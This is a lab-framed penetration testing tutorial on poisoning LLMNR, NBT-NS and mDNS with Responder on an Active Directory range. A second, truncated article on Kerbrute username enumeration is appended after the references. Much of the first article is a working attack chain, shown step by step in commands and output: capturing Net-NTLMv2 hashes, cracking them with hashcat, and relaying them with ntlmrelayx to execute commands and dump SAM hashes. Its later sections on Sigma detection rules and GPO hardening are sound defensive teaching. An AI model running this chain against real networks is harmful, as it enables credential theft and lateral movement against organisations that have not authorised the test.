LLMNR, NBT-NS, and mDNS Poisoning with Responder: Capturing Net-NTLMv2 from Zero

Objective: Walk the full credential-interception chain on a lab Active Directory range: understand why Windows falls back to multicast name resolution, poison LLMNR/NBT-NS/mDNS with Responder, capture Net-NTLMv2 challenge-response material, crack it with hashcat, and relay it with ntlmrelayx. Then build the detection and GPO hardening that shuts the whole thing down.


This is the attack I run first on almost every internal engagement, and it almost always pays out before the coffee gets cold. It needs no credentials, no exploit, no CVE. It abuses a design decision baked into Windows since Vista: when DNS says “I do not know that name,” the host shouts the question at the entire subnet and trusts whoever answers first. Responder is the machine that answers first. Lazarus Group has run the exact same tool with the command line [path] -i [IP] -rPv on compromised hosts, so this is not a pentest party trick, it is a nation-state TTP that still works in 2026.

Build it, break it, then learn to see it on the wire.


1. Name Resolution in Windows: How DNS Fallback Works

Before any of the offensive tooling makes sense, you have to understand the resolver order a Windows host uses to turn a name like filesahre into an IP address. The DNS Client service (dnscache) walks a fixed priority chain:

OrderMechanismTrigger
1Local hostname / hosts fileAlways checked first
2DNS resolver cacheCached positive or negative answers
3DNS server queryStandard recursive lookup against configured DNS
4LLMNR (multicast)Only if DNS returns no answer
5NBT-NS (broadcast)Only if LLMNR also fails
6mDNS (multicast)Windows 10+ compatibility fallback

The trust model flaw lives entirely in steps 4 through 6. DNS at least involves a configured, authoritative server. LLMNR, NBT-NS, and mDNS are link-local, unauthenticated, first-responder-wins protocols. There is no signature, no server identity, no way for the querying host to know whether the reply came from the real file server or from a Kali box plugged into the same switch.

When does the fallback actually fire? The two reliable triggers are:

  • A user mistypes a hostname (\\filesahre\share instead of \\fileshare\share). DNS has no record, so the host multicasts the typo.
  • A stale mapped drive, login script, or pinned shortcut references a host that no longer exists in DNS. Every reconnect attempt multicasts.

That second case is gold. It fires automatically at logon with zero user interaction, which means a quiet Responder instance harvests hashes from every workstation that boots in the morning.

Note what does not happen here: Kerberos. Kerberos needs a resolvable target and a registered SPN to request a service ticket. When the name itself cannot be resolved, the client never gets to the Kerberos exchange. It falls back to NTLM over SMB against whoever claims the name, and NTLM is exactly the material we want.


Flowchart showing the Windows name resolution fallback chain from hosts file through DNS to LLMNR, NBT-NS, and mDNS, with Responder intercepting at the multicast and broadcast stages
When DNS returns no answer, Windows falls through three unauthenticated multicast protocols – each a window for Responder to claim the name first.

2. Protocol Deep-Dive: LLMNR, NBT-NS, mDNS

All three protocols solve the same problem (resolve a name without a DNS server) in three slightly different ways. The ports and multicast groups matter because your detection signatures and your Responder bind all key off them.

ProtocolPort / TransportScopeDestination
LLMNRUDP 5355, multicastLink-local224.0.0.252 (IPv4), FF02::1:3 (IPv6)
NBT-NSUDP 137, broadcastSubnetDirected subnet broadcast, IPv4 only
mDNSUDP 5353, multicastLink-local224.0.0.251 (IPv4), FF02::FB (IPv6)

LLMNR (Link-Local Multicast Name Resolution) arrived with Windows Vista as a DNS-shaped replacement for the older NetBIOS mechanism. The packet format mirrors a DNS query, just multicast to 224.0.0.252:5355.

NBT-NS (NetBIOS Name Service) is the legacy survivor from the LAN Manager era. It broadcasts to UDP 137 and resolves the 16-byte NetBIOS names you still see uppercased and padded. It only speaks IPv4. Most environments could disable it tomorrow and never notice, but legacy print servers and NAS boxes keep it alive.

mDNS (Multicast DNS) is the Bonjour/Avahi protocol. Linux machines leaned on mDNS where Windows historically used LLMNR, and Microsoft added mDNS support in Windows 10 for cross-platform discovery. Responder poisons all three.

Watching the queries on the wire

Before you touch Responder, confirm the traffic is actually reaching your attacker interface. This is enumeration: you are proving the L2 segment carries the broadcasts you intend to poison.

sudo tcpdump -i eth0 -n 'udp port 5355 or udp port 137 or udp port 5353'
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
12:04:11.882134 IP 192.168.56.101.55821 > 224.0.0.252.5355: UDP, length 23
12:04:11.883907 IP 192.168.56.101.137 > 192.168.56.255.137: UDP, length 50
12:04:13.114882 IP 192.168.56.101.55821 > 224.0.0.252.5355: UDP, length 23
12:04:13.115620 IP 192.168.56.101.137 > 192.168.56.255.137: UDP, length 50

Two things to read from that capture. First, 192.168.56.101 is asking, and it asks LLMNR first, then NBT-NS roughly a millisecond later, which is the textbook fallback order. Second, the destinations are the multicast group 224.0.0.252 and the subnet broadcast .255, which means every host on the segment sees the query. There is your attack surface in two lines.


3. NTLM Authentication and Net-NTLMv2 Internals

Responder does not magically steal passwords. It tricks the victim into performing a standard NTLM authentication against the attacker’s rogue SMB server, then logs the challenge-response. To know what you are holding afterward, you need the NTLM message flow and the Net-NTLMv2 math.

NTLM is a three-message challenge-response handshake:

NTLM MessageDirectionKey Fields
NEGOTIATE_MESSAGE (Type 1)Client to ServerNegotiation flags, client OS version
CHALLENGE_MESSAGE (Type 2)Server to ClientServerChallenge (8-byte random nonce), target info AvPairs
AUTHENTICATE_MESSAGE (Type 3)Client to ServerNtChallengeResponse, LmChallengeResponse, DomainName, UserName, Workstation

Responder drives the server side. It sends a Type 2 CHALLENGE_MESSAGE with an 8-byte ServerChallenge (Responder hardcodes a predictable 1122334455667788 by default, which is handy for rainbow-table style attacks), and the victim dutifully replies with a Type 3 message containing the Net-NTLMv2 response.

How the Net-NTLMv2 response is computed

Three cryptographic primitives stack up here. MD4 turns the password into the NT hash, and HMAC-MD5 is used twice to derive the final response with integrity and authenticity:

NT-Hash       = MD4(UTF-16-LE(password))
NTLMv2-Key    = HMAC-MD5(NT-Hash, UPPER(username) + domain)
NTProofStr    = HMAC-MD5(NTLMv2-Key, ServerChallenge + Blob)
NetNTLMv2     = NTProofStr + Blob

The Blob is the NTLMv2_CLIENT_CHALLENGE structure, and its contents are what make the response unique per authentication:

  • RespType and HiRespType: 1-byte response version fields, both currently 1.
  • TimeStamp: 8-byte little-endian time in GMT.
  • ChallengeFromClient: 8-byte random client nonce.
  • AvPairs: target information attribute-value pairs copied from the server challenge.

The distinction that trips people up

The captured Net-NTLMv2 hash is not the NT hash. It is a one-time HMAC-MD5 output keyed on the NT hash and salted with both server and client challenges plus a timestamp. That has two consequences you must internalize:

The string Responder hands you, formatted for hashcat, is:

USERNAME::DOMAIN:ServerChallenge:NTProofStr:Blob

Every field comes straight from the Type 2 and Type 3 messages. Hold that format in your head; you will see it again in Section 6.


Step-by-step diagram of the NTLM three-message handshake between the victim and Responder's rogue SMB server, showing how the Type 3 Net-NTLMv2 response is captured and logged
Responder drives the server side of the NTLM handshake, issuing the challenge and recording the victim’s HMAC-MD5 response without ever needing the plaintext password.

4. Lab Setup: Building the Intentionally Vulnerable AD Environment

Three VMs on an isolated host-only or internal vSwitch. No NAT, no bridged adapter, no route to the internet. You are about to run a credential-interception tool that listens promiscuously for authentication, so containment is not optional.

VMRoleConfiguration
Kali LinuxAttacker192.168.56.50, runs Responder, hashcat, Impacket
Windows Server 2019DC lab.local (LAB)192.168.56.10, SMB signing disabled for lab realism
Windows 10Domain-joined workstation192.168.56.101, LLMNR + NBT-NS left on (default), stale UNC path in a logon script

To make the victim behave like a real corporate workstation, confirm the fallback protocols are enabled (they are, by default) and plant a stale path. Enumerate the current state first so you know what you are working with.

# Check whether LLMNR is disabled by policy (0 = disabled). Absent/1 = enabled.
Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" `
  -Name "EnableMulticast" -ErrorAction SilentlyContinue
# Check NetBIOS-over-TCP/IP per interface (NetbiosOptions: 0=default/on, 2=disabled)
Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces" |
  ForEach-Object { Get-ItemProperty $_.PSPath | Select-Object PSChildName, NetbiosOptions }
Get-ItemProperty : Cannot find path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient'
because it does not exist.

PSChildName                            NetbiosOptions
-----------                            --------------
Tcpip_{2a7f9c14-3b6e-4a8d-9f01-...}                 0

The missing EnableMulticast value means no policy disables LLMNR, so it is live. NetbiosOptions = 0 means NBT-NS is on its default-enabled state. This workstation is exactly as exposed as a freshly imaged corporate box. Now plant the trigger by mistyping a server in a logon script:

# Simulate a stale logon-script drive map to a host that no longer resolves
'net use Z: \\filesahre\profiles /persistent:yes' |
  Out-File -FilePath "C:\Scripts\map-drives.cmd" -Encoding ascii
# (no output; file written)
PS C:\> Get-Content C:\Scripts\map-drives.cmd
net use Z: \\filesahre\profiles /persistent:yes

filesahre is a deliberate typo of fileshare. DNS will never resolve it, so every execution multicasts the query. That is the engine that feeds Responder.


5. Phase 1: Reconnaissance with Responder Analyze Mode

Never start by poisoning. Start by listening. Analyze mode (-A) makes Responder observe NBT-NS, BROWSER, and LLMNR requests without injecting a single spoofed answer. On a real engagement you run this for 24 to 48 hours to map which hosts generate which queries and whether those are legitimate lookups that belong in DNS. In the lab, five to ten minutes is plenty.

This is the enumeration step that tells you whether the attack is even viable and which victims to expect. No injection means no risk of breaking name resolution for a production host.

sudo responder -I eth0 -A
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

[+] Listeners Info:
    Responder IP               [192.168.56.50]
    Responder IPv6             [fe80::a00:27ff:fea1:b2c3]
    Challenge set              [random]
[+] Generic Options:
    Responder NIC              [eth0]
    Analyze Mode               [ON]
    Force WPAD auth            [OFF]

[+] Listening for events...

[Analyze mode: LLMNR] Request by 192.168.56.101 for filesahre, ignoring
[Analyze mode: NBT-NS] Request by 192.168.56.101 for FILESAHRE, ignoring
[Analyze mode: LLMNR] Request by 192.168.56.101 for filesahre, ignoring
[Analyze mode: MDNS] Request by 192.168.56.101 for filesahre.local, ignoring

Read the recon: a single host (192.168.56.101) is repeatedly asking for filesahre across all three protocols, and there is no authoritative answer on the network. That is a poisonable query. The Challenge set [random] line tells you Responder will issue a random server challenge unless you pin it in the config. The ignoring keyword is your proof that analyze mode injected nothing.

If this were a live network, you would now decide whether filesahre is a real-but-misconfigured host (fix DNS) or a typo (safe to poison in an authorized test).


6. Phase 2: Active Poisoning and Hash Capture

Flip off analyze mode and let Responder answer. The moment it replies to the LLMNR query claiming to be filesahre, the victim opens an SMB session to 192.168.56.50 and authenticates with NTLM. Responder’s rogue SMB server captures the Type 3 message.

By default Responder stands up several rogue servers (SMB, HTTP, MSSQL, FTP, LDAP, and more) so it can catch whatever protocol the victim tries. -w starts the WPAD rogue proxy, -v is verbose.

sudo responder -I eth0 -wv
[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    SMB server                 [ON]
    WPAD proxy                 [ON]
    Auth proxy                 [OFF]

[+] Listening for events...

[*] [LLMNR]  Poisoned answer sent to 192.168.56.101 for name filesahre
[*] [MDNS]   Poisoned answer sent to 192.168.56.101 for name filesahre.local
[*] [NBT-NS] Poisoned answer sent to 192.168.56.101 for name FILESAHRE

[SMB] NTLMv2-SSP Client   : 192.168.56.101
[SMB] NTLMv2-SSP Username : LAB\jsmith
[SMB] NTLMv2-SSP Hash     : jsmith::LAB:1122334455667788:6E3A1F9C2D4B8E70A1C5F2D9B4E83C7A:01010000000000\
00C0653150DE09D2010B2F3C4D5E6F70800000000020008004C00410042000100080044004300300031000400140\
06C00610062002E006C006F00630061006C0003001E0044004300300031002E006C00610062002E006C006F00630\
0610062000500140066006F006F002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000\
0000000000000

There it is. LAB\jsmith authenticated to your fake filesahre and handed over a Net-NTLMv2 response. Notice the ServerChallenge is 1122334455667788, Responder’s static default. The long trailing hex is the Blob (timestamp, client challenge, target AvPairs).

Responder also writes everything to disk. Enumerate the log directory to confirm the capture landed:

ls -l /usr/share/responder/logs/ | grep NTLMv2
cat /usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.56.101.txt
-rw-r--r-- 1 root root  612 May 14 12:09 SMB-NTLMv2-SSP-192.168.56.101.txt

jsmith::LAB:1122334455667788:6E3A1F9C2D4B8E70A1C5F2D9B4E83C7A:0101000000000000C0653150DE09D2010B2F3C4D5E6F7080000000000200080\
04C00410042000100080044004300300031000400140006C00610062002E006C006F00630061006C0003001E0044004300300031002E006C00610062002E006\
C006F00630061006C0005001400660066006F002E006C006F00630061006C0007000800C0653150DE09D2010600040002000000000000000000000000

Map the fields against the format from Section 3:

FieldValueSource
USERNAMEjsmithType 3 UserName
DOMAINLABType 3 DomainName
ServerChallenge1122334455667788Type 2 nonce
NTProofStr6E3A1F9C2D4B8E70A1C5F2D9B4E83C7AHMAC-MD5 proof
Blob0101000000...NTLMv2_CLIENT_CHALLENGE

One war-story note: Responder only captures a hash once per host by default to avoid noise. If you are testing and want repeated captures, you need to clear the session or set Responder.conf accordingly, otherwise you will trigger the victim ten times and wonder why the console stays quiet after the first hit. That cost me twenty minutes the first time before I read the config comments.


7. Phase 3: Offline Cracking with hashcat

The capture is a salted HMAC-MD5 response, so the only way to recover the plaintext is to guess passwords, hash each guess through the full Net-NTLMv2 chain, and compare. Hashcat does this on the GPU at mode 5600.

Enumerate first: inspect the hash line and confirm it is well-formed before burning GPU cycles. A truncated paste (a real and common mistake when copying multi-line Blobs) silently fails to load.

cp /usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.56.101.txt hash.txt
# Confirm it is a single, complete line with five colon-delimited fields
awk -F: '{print "fields:", NF}' hash.txt
fields: 6

Six because the username block itself contains the empty :: (the unused LM field), which is expected for the user::domain:... format. Now run the dictionary attack:

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 CUDA 12.2) - Platform #1
=================================================
* Device #1: NVIDIA GeForce RTX 3060, 11906/12044 MB

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmap table: 16 bits, 65536 entries...

JSMITH::LAB:1122334455667788:6e3a1f9c2d4b8e70a1c5f2d9b4e83c7a:0101000000000000c0653150de09d201...:Summer2024!

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Speed.#1.........:  2841.6 MH/s
Recovered........: 1/1 (100.00%) Digests
Started: Wed May 14 12:14:02 2026
Stopped: Wed May 14 12:14:39 2026

Summer2024! recovered in 37 seconds. Weak passwords against Net-NTLMv2 fall fast because HMAC-MD5 is cheap to compute on a GPU (billions of guesses per second). If straight rockyou misses, layer on a rules file to mutate each candidate:

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Status...........: Exhausted
Recovered........: 0/1 (0.00%) Digests
Speed.#1.........:  2790.3 MH/s

That Exhausted with zero recovered is what a strong password looks like: rockyou plus best64 generated roughly 89 million candidates and none matched. This is precisely why a 15-plus character passphrase defeats the crack path entirely. Recall a previously cracked result without rerunning:

hashcat -m 5600 hash.txt --show
JSMITH::LAB:1122334455667788:6e3a1f9c2d4b8e70a1c5f2d9b4e83c7a:0101000000000000...:Summer2024!

When the crack path dies against a strong password, you do not give up. You relay.


8. Phase 4 (Advanced): NTLM Relay with ntlmrelayx

Relaying is what makes poisoning dangerous even when you cannot crack a thing. Instead of logging the Type 3 message and attacking it offline, you forward it in real time to another host that does not enforce SMB signing, authenticating as the victim against a machine you choose. If the victim is a local admin on the target, you get code execution or a SAM dump without ever knowing the password.

Two preconditions: the target SMB service must have signing disabled (or not required), and the captured user must have local admin on that target. So the enumeration comes first.

Enumerate SMB signing posture

crackmapexec (or NetExec) sweeps the subnet and flags hosts where signing is not required. Those are your relay targets.

crackmapexec smb 192.168.56.0/24 --gen-relay-list targets.txt
SMB  192.168.56.10   445  DC01      [*] Windows Server 2019 Build 17763 x64 (name:DC01) (domain:lab.local) (signing:True)  (SMBv1:False)
SMB  192.168.56.101  445  WIN10-WS01 [*] Windows 10 Build 19041 x64 (name:WIN10-WS01) (domain:lab.local) (signing:False) (SMBv1:False)
SMB  192.168.56.102  445  WIN10-WS02 [*] Windows 10 Build 19041 x64 (name:WIN10-WS02) (domain:lab.local) (signing:False) (SMBv1:False)
[*] Generated relay target list: targets.txt
cat targets.txt
192.168.56.101
192.168.56.102

The DC shows signing:True (domain controllers require it by default, so it is off the list). Both workstations show signing:False, which means they accept relayed authentication. Cross-check with nmap if you want a second opinion:

sudo nmap -p445 --script smb2-security-mode 192.168.56.102
PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required

“Enabled but not required” is the relayable condition. Required signing would read “Message signing enabled and required.”

Free the ports, then relay

ntlmrelayx needs SMB and HTTP. Responder grabs those by default, so turn them off in /etc/responder/Responder.conf before running both tools together.

sudo sed -i 's/^SMB = On/SMB = Off/' /etc/responder/Responder.conf
sudo sed -i 's/^HTTP = On/HTTP = Off/' /etc/responder/Responder.conf
grep -E '^(SMB|HTTP) =' /etc/responder/Responder.conf
SMB = Off
HTTP = Off

Start the relay listener pointed at the unsigned targets, with -smb2support and a command to run as the relayed user:

sudo ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Protocol Client SMB loaded..
[*] Protocol Client HTTP loaded..
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Servers started, waiting for connections

Now start Responder with SMB and HTTP off so it only poisons names and hands the authentication to the relay:

sudo responder -I eth0 -wv
[*] [LLMNR]  Poisoned answer sent to 192.168.56.101 for name filesahre

When the victim authenticates, ntlmrelayx forwards the session to a target where jsmith is a local admin and runs the command:

[*] Authenticating against smb://192.168.56.102 as LAB/JSMITH SUCCEED
[*] SMBD-Thread-5: Connection from LAB/JSMITH@192.168.56.101 controlled, attacking target smb://192.168.56.102
[*] Executed specified command on host: 192.168.56.102
lab\jsmith
[*] Service RemoteRegistry is in stopped state
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:8a3b... :::

No cracking, no plaintext, and you are executing commands and dumping the local SAM as lab\jsmith on a second host. Drop -c "whoami" and you get the SAM dump automatically. Swap in -c payloads, SOCKS proxying (-socks), or LDAP targets to escalate further. This is the technique that turns a single typo’d UNC path into lateral movement.


Graph diagram showing the NTLM relay attack chain: Responder poisons the victim's name query, ntlmrelayx forwards the NTLM authentication to an unsigned SMB target, and achieves command execution and SAM dump
Relay bypasses cracking entirely – the victim’s authentication is forwarded live to a second host where they hold admin rights, yielding execution without ever recovering the password.

9. WPAD Abuse Extension

WPAD (Web Proxy Auto-Discovery) is a bonus credential source riding the same poisoning. Browsers and many Windows components look up the name wpad to auto-discover a proxy configuration. When DNS has no wpad record, that lookup multicasts exactly like any other, and Responder answers.

The enumeration is the same analyze-mode pass; watch for wpad queries specifically:

sudo responder -I eth0 -A | grep -i wpad
[Analyze mode: LLMNR] Request by 192.168.56.101 for wpad, ignoring
[Analyze mode: MDNS] Request by 192.168.56.101 for wpad.local, ignoring

Those wpad requests mean WPAD abuse is on the table. With -w Responder serves a malicious wpad.dat pointing the victim’s proxy at the attacker, and with -F it forces NTLM or HTTP Basic authentication on the WPAD fetch. A Basic-auth prompt yields cleartext credentials, while NTLM yields another Net-NTLMv2 hash to crack or relay. Same chain, different protocol door.


10. Detection: Telemetry, SIEM Rules, and Honeypots

Offense done. Now make it loud. Because the attack rides normal-looking name resolution, detection leans on anomaly: a non-authoritative host answering queries, NTLM logons from unexpected sources, and the attacker tooling itself.

Sysmon and Windows Security telemetry

Event IDSourceWhat it catches
Sysmon EID 1 (Process Create)EndpointResponder/ntlmrelayx.py/Inveigh launched, with telltale CLI flags like -I, -wv, -rdwv
Sysmon EID 3 (Network Connect)EndpointNon-system process binding UDP 5355 or UDP 137
Sysmon EID 18 (Pipe Connected)EndpointSMB named-pipe access to \pipe\lsarpc, \pipe\efsr, \pipe\spoolss, \pipe\netdfs from a non-DC to a DC (relay exec)
Security 4624 (Logon Success)DC / hostLogon Type 3 (network) NTLM logons from unexpected source IPs, or where the source workstation name does not match the expected host for that IP
Security 4625 (Logon Failure)Multiple hostsRapid failures across many hosts from one source = relay scanning
Security 7045 (Service Installed)Target hostRandom service name and ImagePath, the classic relay-exec footprint
PowerShell 4104 (Script Block)EndpointInvoke-Inveigh and similar in-memory poisoners

The single highest-fidelity network signal: a host that sends an LLMNR/NBT-NS response when it is not a DNS server and received no prior DNS delegation. Legitimate clients query; they do not answer for names they do not own.

Sigma rules

Responder process launch on a Windows host (Inveigh-style or a planted binary):

title: Responder or Inveigh Poisoner Process Launch
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 1
    Image|contains:
      - 'Responder.py'
      - 'Responder.exe'
  flags:
    CommandLine|contains:
      - '-I '
      - '-wv'
      - '-rdwv'
  condition: selection and flags
level: high

Suspicious LLMNR response from a non-authoritative host:

title: LLMNR Response From Non-DNS Host
logsource:
  category: network
detection:
  selection:
    dst_port: 5355
    protocol: udp
    response_flag: true
  filter_legit:
    src_ip:
      - '192.168.56.10'   # authoritative DNS / DC
  condition: selection and not filter_legit
level: high

Unexpected Type 3 NTLM network logon (relay landing on a target):

title: Unexpected NTLM Network Logon
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4624
    LogonType: 3
    AuthenticationPackageName: 'NTLM'
  filter_known:
    IpAddress:
      - '192.168.56.10'   # known management hosts
  condition: selection and not filter_known
level: medium

Honeypot queries

The cheapest detection in the building: a monitoring host periodically emits a uniquely named LLMNR/NBT-NS query for a name that does not and should not exist anywhere. Any answer is, by definition, a poisoner. There is no false positive, because no legitimate host owns a name you invented thirty seconds ago.

MITRE tracks this whole pattern under Detection Strategy DET0462, which correlates anomalous UDP 5355/137 traffic with SMB relay attempts, registry edits re-enabling multicast name resolution, and suspicious service creation.


11. Defense: Hardening the Environment

Detection tells you it happened. Hardening makes it impossible. The fix order matters: analyze before you disable, because legacy print servers and NAS devices that are registered only in NBT-NS and not in DNS will go dark the instant you turn it off. Migrate them to DNS first.

MitigationImplementation
Disable LLMNRGPO: Computer Configuration > Administrative Templates > Network > DNS Client > Turn OFF Multicast Name Resolution > Enabled
Disable NBT-NSSet NetbiosOptions = 2 under HKLM\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces\<GUID> via DHCP option 001 or a startup script
Disable mDNSSet HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0
Require SMB signingGPO: ... Security Options > Microsoft network server: Digitally sign communications (always) > Enabled
LDAP signing + channel bindingDC security policy; blocks LDAP relay specifically
Strong passwords (15+ chars)Defeats the hashcat crack path against Net-NTLMv2
LLMNR/NBT-NS honeypotsMonitoring host emits unique queries; any answer is anomalous
NACWhere protocols cannot be disabled, restrict device access by MAC

The two controls with the highest payoff are disabling LLMNR/NBT-NS (removes the capture path entirely) and requiring SMB signing (removes the relay path entirely). Do both and a Responder instance on your network sits silent. Push NBT-NS via a startup script if your hosts pull addresses from DHCP:

$key = "HKLM:\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces"
Get-ChildItem $key | ForEach-Object {
    Set-ItemProperty -Path $_.PSPath -Name NetbiosOptions -Value 2
}
# (no output; NetbiosOptions set to 2 on all interfaces)
PS C:\> Get-ChildItem $key | ForEach-Object { (Get-ItemProperty $_.PSPath).NetbiosOptions }
2

Re-run your tcpdump from Section 2 after applying the GPO. If the workstation stops emitting UDP 5355 and 137 entirely, the hardening took.


Conceptual illustration of a vault door sealing off LLMNR, NBT-NS, and mDNS multicast waves, representing GPO hardening shutting down the poisoning attack surface
Disabling LLMNR, NBT-NS, and mDNS via GPO and enforcing SMB signing seals the two paths – capture and relay – that make poisoning dangerous.

12. Tools for Name-Resolution-Poisoning Analysis

ToolDescriptionLink
ResponderLLMNR/NBT-NS/mDNS poisoner and rogue auth servergithub.com/lgandx/Responder
Impacket ntlmrelayxNTLM relay workhorse, SMB/LDAP/HTTP targetsgithub.com/fortra/impacket
InveighPowerShell/C# poisoner for Windows hostsgithub.com/Kevin-Robertson/Inveigh
hashcatGPU cracker, mode 5600 for Net-NTLMv2hashcat.net
CrackMapExec / NetExecSMB signing enumeration, relay list generationgithub.com/Pennyw0rth/NetExec
WiresharkPacket-level inspection of LLMNR/NBT-NS/mDNSwireshark.org
tcpdumpLightweight CLI capture for query verificationtcpdump.org
SysmonEndpoint telemetry (EID 1/3/18)learn.microsoft.com

13. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB RelayT1557.001Anomalous UDP 5355/137 responses; unexpected Type 3 NTLM 4624
Adversary-in-the-Middle (parent)T1557Network anomaly + endpoint process telemetry
Network SniffingT1040Promiscuous capture, passive analyze-mode footprint
Brute Force: Password CrackingT1110.002Offline hashcat activity (host-based, not on-wire)
Forced AuthenticationT1187Victim NTLM auth to non-authoritative host

Lazarus Group has run Responder in the wild with [path] -i [IP] -rPv, which maps cleanly to T1557.001. Treat this as an active, current TTP.


14. Summary

  • LLMNR, NBT-NS, and mDNS are unauthenticated, first-responder-wins fallback protocols, and that single trust flaw is the entire attack. Windows multicasts a name query when DNS fails, and Responder answers before anyone else.
  • What you capture is Net-NTLMv2, not the NT hash. It is an HMAC-MD5 challenge-response keyed on the NT hash, so it cannot pass-the-hash but it can be cracked offline (hashcat -m 5600) or relayed live.
  • The relay path with ntlmrelayx is the dangerous one. Even an uncrackable password is game over if a target has SMB signing disabled and the victim is a local admin, yielding command execution and SAM dumps.
  • Always enumerate before you act: analyze mode (-A) to find poisonable queries, and crackmapexec --gen-relay-list to find unsigned relay targets.
  • Detect with Sysmon EID 1/3/18, Security 4624 Type 3 / 4625 / 7045, anomalous UDP 5355/137 responses, and honeypot queries (MITRE DET0462).
  • Kill it for good by disabling LLMNR/NBT-NS/mDNS via GPO, requiring SMB and LDAP signing, and enforcing 15-plus character passwords, but migrate legacy NetBIOS-only hosts to DNS first.

References

Username Enumeration and Validation with Kerbrute: Abusing Kerberos Pre-Authentication

You have network access to a target subnet and a domain controller answering on port 88. No credentials. No foothold. Before you touch a single password, you need a list of accounts that actually exist, because spraying a wordlist of 50,000 invented usernames is loud, slow, and pointless. Kerberos hands you that list for free. The protocol that was designed to keep passwords off the wire will happily tell an unauthenticated stranger exactly which accounts are real, and it does so without ever touching the lockout counter.

Objective: Understand how the Kerberos AS-REQ exchange leaks valid account existence through differential KDC error codes, how Kerbrute weaponizes that oracle to enumerate usernames and harvest AS-REP hashes without domain credentials, how to pivot from a confirmed username list into credential access, and how a defender detects every step on the domain controller.


1. Kerberos Authentication Primer

Kerberos is the default authentication protocol in Active Directory, and to abuse it you have to understand what each message is for. Three logical components live inside the Key Distribution Center (KDC), which runs on every domain controller:

ComponentRole
Authentication Service (AS)Issues the initial Ticket Granting Ticket (TGT) after the client proves it knows its key
Ticket Granting Service (TGS)Exchanges a valid TGT for service tickets to specific resources
KDC databaseThe AD database (ntds.dit) holding every account’s long-term key derived from its password

The full ticket flow is four messages:

  1. AS-REQ – client asks the AS for a TGT.
  2. AS-REP – AS returns the TGT (encrypted with the krbtgt key) plus a session key (encrypted with the client’s key).
  3. TGS-REQ – client presents the TGT and asks for a service ticket to a named Service Principal Name (SPN).
  4. TGS-REP – TGS returns the service ticket, encrypted with the target service account’s key.

The piece that matters for enumeration is pre-authentication, which lives inside the AS-REQ. Without it, anyone could send an AS-REQ for any username and receive an AS-REP containing material encrypted with that user’s password-derived key, then crack it offline at leisure. To stop that, Kerberos v5 requires the client to prove it knows the password before the KDC issues anything.

The proof is a timestamp: the client takes the current time, encrypts it with its secret key (the key derived from the user password using DES, RC4/arcfour-hmac-md5, AES128, or AES256), and ships that PA-ENC-TIMESTAMP blob inside the AS-REQ alongside the username. The KDC decrypts it with the stored key for that account. If the plaintext is a sane timestamp, the password is correct and a TGT is issued. If decryption fails, pre-auth failed.

This single design decision is the source of everything that follows. The KDC must answer differently depending on whether the account exists, whether pre-auth was required, and whether the supplied key was correct. Those differences are an oracle.

Kerberos listens on port 88 over both UDP and TCP. A username validation costs a single UDP frame to the KDC, which is why this is so fast.


2. The Enumeration Oracle: KDC Error Code Differentials

Send an AS-REQ with no pre-auth data and a username, and the KDC’s reply tells you the account’s state with surgical precision. The error codes are defined in RFC 4120 and surface in Windows Event logs as hex values:

KDC Error (RFC 4120 name)Hex CodeWhat it tells the attacker
KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN0x6Username does not exist in the domain
KRB5KDC_ERR_PREAUTH_REQUIRED0x19Username is valid, pre-authentication is required
KDC_ERR_PREAUTH_FAILED0x18Valid user, wrong password supplied
KDC_ERR_CLIENT_REVOKED0x12Account is disabled, locked, or expired
KDC_ERR_KEY_EXPIRED(key expired)Valid user, password expired

Walk through the logic an attacker exploits:

  • Send an AS-REQ for nonexistent_user. The KDC has no account record, so it returns 0x6 (PRINCIPAL_UNKNOWN). Cross that name off the list.
  • Send an AS-REQ for jsmith with no pre-auth blob. The account exists and requires pre-auth, so the KDC refuses to issue a ticket and returns 0x19 (PREAUTH_REQUIRED). That 0x19 is the confirmation: the account is real. You never had to know the password.
  • Send an AS-REQ for svc_backup, an account where pre-auth is disabled. The KDC skips the timestamp check entirely and returns a full AS-REP containing an encrypted blob signed with the account’s key. That blob is crackable offline. This is the AS-REP roasting primitive falling straight into your lap.

